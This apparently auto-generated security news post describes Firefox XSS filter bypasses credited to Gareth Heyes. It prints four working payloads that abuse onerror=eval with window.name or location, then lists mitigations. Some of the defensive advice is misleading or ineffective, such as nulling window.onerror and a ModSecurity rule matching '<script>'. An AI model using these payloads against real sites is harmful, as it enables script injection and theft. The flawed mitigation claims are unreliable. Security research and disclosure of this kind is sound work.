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Firefox now opens the door to URL-based XSS payload smuggling, introducing new ways to bypass filters using the `window.name` property and clever URL manipulation. Security researcher Gareth Heyes demonstrated several vectors to exploit this behavior.
Vectors for XSS Payload Smuggling
1. Using `window.name` and `onerror`:
<script>throw onerror=eval,{lineNumber:1,columnNumber:1,fileName:1,message:name}</script>
2. SVG-Based Payload:
<
svg onload="throw top.onerror=eval,{lineNumber:1,columnNumber:1,fileName:1,message:'/'+URL}">
3. Body `onload` with `location`:
<body onload="throw onerror=eval,{lineNumber:1,columnNumber:1,fileName:1,message:'/'+location}">
4. Simplified `onerror` Exploit:
<script>throw lineNumber=columnNumber=fileName=message=name,onerror=eval,{lineNumber,columnNumber,fileName,message}</script>
Reference: PortSwigger Research
You Should Know:
How to Test & Mitigate XSS in Firefox
1. Testing XSS Payloads
Use Burp Suite or Browser DevTools to inspect how Firefox processes malicious URLs:
curl -v "http://vulnerable-site.com/?payload=<svg onload=alert(1)>"
2. Mitigation Techniques
- Content Security Policy (CSP):
Content-Security-Policy: script-src 'self'; object-src 'none';
-
Sanitizing User Input:
Use DOMPurify in JavaScript:
const clean = DOMPurify.sanitize(userInput);
- Disabling Dangerous Features:
window.onerror = null; // Prevent error-based XSS
3. Browser Hardening
Disable risky Firefox settings:
about:config → set "dom.event.clipboardevents.enabled" to false
4. Server-Side Protections
Use ModSecurity rules to block XSS attempts:
SecRule ARGS "@contains <script>" "id:1001,deny,msg:'XSS Attack'"
What Undercode Say
Firefox’s handling of `window.name` and error events introduces new XSS attack surfaces. Developers must enforce strict CSP policies, sanitize inputs, and disable unnecessary JavaScript error handlers. Security teams should monitor for unusual URL patterns in logs.
Expected Output:
- Firefox processes `window.name` insecurely, leading to XSS.
- Use CSP, input sanitization, and disable risky browser features.
- Test payloads with `curl` and Burp Suite before deployment.
Prediction
As browser vendors patch traditional XSS vectors, attackers will increasingly exploit lesser-known DOM properties (window.name, onerror) for payload smuggling. Expect more bypass techniques leveraging JavaScript error handling in 2024.
Relevant Advanced XSS Bypass Techniques
References:
Reported By: Gareth Heyes – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
